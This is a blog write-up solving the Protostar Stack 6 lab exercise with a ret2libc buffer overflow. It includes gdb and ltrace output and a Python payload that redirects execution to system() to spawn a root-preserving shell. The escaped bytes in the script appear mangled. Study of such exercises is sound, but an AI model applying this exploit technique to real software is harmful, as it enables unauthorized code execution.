Exploit Exercises: Protostar: Stack 6

Introduction

This time we’re going to compromise Stack 6 from the Exploit Exercises Protostar VM. The description of this challenge states that it can be solved a few ways –
  1. Finding the payload duplicate
  2. The ret2libc method
  3. Using ROP
We’re going to use method 2, using this excellent PDF as our guiding light.
Onwards!

The Vulnerability

The vulnerability here is the same as the other Stack* exercises – we’re able to jam too much data into too small a buffer, allowing us to take control of EIP.
This particular exercise checks the return address after the gets() call and checks to see if it starts with 0xbf AKA, is the return address now randomly pointing at memory allocated for the stack. Obviously return addresses which start with that value are definitely trying to do something naughty!

The Attack

The attack here is quite novel. We’re going to do the following –
  1. Establish the address where the system() function lives in libc
  2. Jam a load of rubbish into the buffer up to the return address
  3. Overwrite the return address with the address found in step 1
  4. Write rubbish over the next 4 bytes (which is just part of the previous stack frame)
  5. Set the following bytes to a pointer to “/bin/bash”
This will have the effect of the getpath() function “returning” to the system() function, and due to step 5 above, it will have the effect of passing “/bin/bash” as an argument to system.
In C, system(“/bin/bash”); will have the effect of spawning a shell. 🙂

Where does system() live?

First up we’ll find the address of system. Luckily GDB makes this easy for us.
user@protostar:/opt/protostar/bin$ gdb stack6
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff7b4) at stack6/stack6.c:27
27 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) p system
$1 = {} 0xb7ecffb0 <__libc_system>
(gdb)
</__libc_system>

Highlighted in green above is the address of system().

How do we get a pointer to “/bin/bash”

The PDF which I linked above makes an environment variable named “EGG” containing the name of a shell. That’s a super inventive solution, but what we’re going to do instead is take advantage of the fact that the gets function returns a pointer to the start of the buffer.. So if we start our buffer with “/bin/bash -px00” and supply the pointer returned from gets() as an argument to system().

Putting it all together

Now that we’ve got the things which we need, it’s just a simple case of making a crafted payload like the previous 6 challenges!
We’ll use Python again.
At this point you know how to find the return address, so I’ll skip that in the interest of brevity – the return address on my box was located precisely 16 bytes after the end of the buffer, so I’ll use that value in my BOF.
Additionally, I used this guide to help find the pointer returned by gets
user@protostar:/opt/protostar/bin$ ltrace ./stack6
__libc_start_main(0x80484fa, 1, 0xbffff7f4, 0x8048520, 0x8048510 
printf("input path please: ")                                                                                                     = 19
fflush(0xb7fd84c0input path please: )                                                                                                                = 0
gets(0xbffff6ec, 0, 0xb7fe1b28, 1, 0AAAAAAAAAA
)                                                                                             = 0xbffff6ec
printf("got path %sn", "AAAAAAAAAA"got path AAAAAAAAAA
)                                                                                             = 20
+++ exited (status 20) +++

The format’s a bit crazy BUT we can see that gets returned a pointer to 0xbffff6ec, so we’ll use that in our buffer overflow Python script.

We’ve got all of the pieces of the puzzle now so we can use the following script to make the magic happen –

buf =  ""
buf += "/bin/bash -px00"+"A"*51 #buffer
buf += "B"*16 #slack space
buf += "xb0xffxecxb7" #address of system() at 0xb7ecffb0
buf += "AAAA" # Overwriting stackframe stuff
buf += "xecxf6xffxbf" # argument to system, pointer to "/bin/bash -p", identified above
print buf

And here it is in action –

 

Conclusion

Phew! This was a hard / fun one, these challenges are starting to get difficult now.
I learned a lot doing this challenge and writing it up helped to cement that knowledge. Hope you enjoyed reading this.
One Comment

Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.